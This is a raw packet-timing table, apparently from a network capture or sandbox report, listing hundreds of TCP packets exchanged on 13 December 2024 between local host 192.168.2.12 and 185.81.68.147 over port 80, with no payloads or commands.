Dec 13, 2024 07:49:25.511586905 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511606932 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511634111 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511651993 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511677980 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511698008 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511719942 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511743069 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511764050 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511785984 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511814117 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511830091 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511866093 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511884928 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511918068 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511934996 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511961937 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.511987925 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512006044 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512027025 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512056112 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512080908 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512099028 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512125015 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512145042 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512171030 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512187958 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512221098 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512243986 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512263060 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512289047 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512306929 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512339115 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512353897 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512378931 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512402058 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512428045 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512449026 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512466908 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512497902 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512512922 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512542009 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512572050 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512588024 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512614965 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512638092 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512655020 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512686014 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512700081 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512727976 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512746096 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512768984 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512798071 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512818098 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512847900 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512876034 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512892008 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512923956 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512944937 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512967110 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.512994051 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513011932 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513036013 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513056993 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513081074 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513106108 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513132095 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513149023 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513175964 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513197899 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513226032 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513247967 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513274908 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513292074 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513319016 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513339996 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513361931 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513386011 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513411999 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513434887 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513456106 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513482094 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513530016 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513530016 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513555050 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513581038 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513601065 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513631105 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513653994 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513672113 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513698101 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513715982 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513746023 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513767004 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513787985 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513833046 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513833046 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513858080 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513885021 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513907909 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513962984 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513962984 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.513984919 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514003992 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514029026 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514048100 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514071941 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514101982 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514116049 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514142990 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514164925 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514189959 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514218092 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514236927 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514261007 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514286995 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514305115 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514334917 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514358997 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514375925 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514404058 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514426947 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514446020 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514467955 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514493942 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514518023 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514539957 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514564991 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514585972 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514617920 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514643908 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514664888 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514688969 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514714956 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514736891 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514763117 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514782906 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514807940 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514827013 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514854908 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514874935 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514899969 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514921904 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514944077 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.514972925 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515000105 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515021086 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515048027 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515067101 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515095949 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515114069 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515140057 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515160084 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515186071 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515203953 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515228033 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515249968 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515276909 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515300989 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515322924 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515352964 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515369892 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515393019 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515415907 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515446901 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515466928 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515489101 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515507936 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515532970 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515552044 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515574932 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515602112 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515624046 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515650034 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515669107 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515700102 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515719891 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515743971 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515867949 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515867949 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515903950 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515933990 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515964031 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.515990019 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516014099 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516072035 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516100883 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516130924 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516181946 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516181946 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516211987 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516239882 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516263008 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516294003 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516320944 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516349077 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516372919 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516402006 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516424894 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516453981 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516484022 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516508102 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516541004 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516567945 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516593933 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516632080 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516649961 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516680002 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516707897 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516732931 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516782999 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516782999 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516810894 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516841888 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516875982 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516911983 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516930103 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516966105 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.516988039 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517024040 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517046928 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517076015 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517102957 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517124891 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517154932 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517179966 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517209053 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517234087 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517263889 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517292023 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517318964 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517345905 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517371893 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517404079 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517431021 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517457962 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517482042 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517508030 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517534971 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517559052 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517586946 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517611027 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517646074 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517663002 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517693043 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517729998 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517771006 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517781973 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517812014 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517841101 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517868042 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517894983 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517921925 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517946005 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.517976046 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.518004894 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.518048048 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.518049955 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.518075943 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.518106937 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.518136024 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.518167019 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.518194914 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.518223047 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.518249989 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.518277884 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.518304110 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.518332005 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.518352032 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.518377066 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.519054890 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.519107103 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.519133091 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.519155979 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.519191980 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.519217014 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.519246101 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.519279957 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.519294024 CET	49722	80	192.168.2.12	185.81.68.147
Dec 13, 2024 07:49:25.623626947 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.623697996 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.623709917 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.623830080 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.623883009 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.623897076 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.623912096 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.623935938 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.624326944 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.624341011 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.624351978 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.624413967 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.624427080 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.624438047 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.624449968 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.624461889 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.624473095 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.624485016 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.624495983 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.624659061 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.624685049 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.624707937 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.624720097 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.624767065 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.624778986 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.624789953 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.624804020 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.624881983 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.624897003 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.624918938 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.625664949 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.625679970 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.625698090 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.625720978 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.625732899 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.625749111 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.625801086 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.625842094 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.625854015 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.626501083 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.626527071 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.626549006 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.626560926 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.626574993 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.626606941 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.626648903 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.626661062 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.626673937 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.626714945 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.626729965 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.627360106 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.627387047 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.627420902 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.627433062 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.627446890 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.627464056 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.627515078 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.627527952 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.627542019 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.627573013 CET	80	49722	185.81.68.147	192.168.2.12
Dec 13, 2024 07:49:25.627628088 CET	80	49722	185.81.68.147	192.168.2.12
